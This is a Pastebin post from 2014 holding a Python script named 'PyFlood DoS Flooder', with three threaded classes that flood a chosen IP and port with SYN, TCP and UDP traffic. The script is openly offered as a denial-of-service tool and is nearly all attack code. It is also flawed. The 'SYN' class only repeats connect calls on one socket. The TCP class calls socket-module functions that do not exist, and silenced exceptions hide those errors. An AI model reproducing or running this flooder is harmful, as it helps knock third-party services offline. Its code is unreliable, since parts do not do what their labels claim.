Advertisement
BaSs_HaXoR

PyFlood DoS Flooder (SYN/TCP/UDP)

Aug 14th, 2014
747
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.90 KB | None | 0 0
  1. # PyFlood DoS Flooder
  2. # Version 1.0.0
  3. # Coded by BlackMan in Python 3.3.2
  4. # Download : N/A
  5. # File     : pyflood.py
  6.  
  7. #IMPORTS
  8. import random
  9. import socket
  10. import sys
  11. import threading
  12.  
  13. #SYN FLOOD
  14. class synFlood(threading.Thread):
  15.     def __init__(self, ip, port, packets):
  16.         self.ip      = ip
  17.         self.port    = port
  18.         self.packets = packets
  19.         self.syn     = socket.socket()
  20.         threading.Thread.__init__(self)
  21.     def run(self):
  22.         for i in range(self.packets):
  23.             try:
  24.                 self.syn.connect((self.ip, self.port))
  25.             except:
  26.                 pass
  27.  
  28. #TCP FLOOD
  29. class tcpFlood(threading.Thread):
  30.     def __init__(self, ip, port, size, packets):
  31.         self.ip      = ip
  32.         self.port    = port
  33.         self.size    = size
  34.         self.packets = packets
  35.         self.tcp     = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  36.         threading.Thread.__init__(self)
  37.     def run(self):
  38.         for i in range(self.packets):
  39.             try:
  40.                 bytes = random._urandom(self.size)
  41.                 socket.connect(self.ip, self.port)
  42.                 socket.setblocking(0)
  43.                 socket.sendto(bytes,(self.ip, self.port))
  44.             except:
  45.                 pass
  46.  
  47. #UDP FLOOD
  48. class udpFlood(threading.Thread):
  49.     def __init__(self, ip, port, size, packets):
  50.         self.ip      = ip
  51.         self.port    = port
  52.         self.size    = size
  53.         self.packets = packets
  54.         self.udp     = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  55.         threading.Thread.__init__(self)
  56.     def run(self):
  57.         for i in range(self.packets):
  58.             try:
  59.                 bytes = random._urandom(self.size)
  60.                 if self.port == 0:
  61.                     self.port = random.randrange(1, 65535)
  62.                 self.udp.sendto(bytes,(self.ip, self.port))
  63.             except:
  64.                 pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement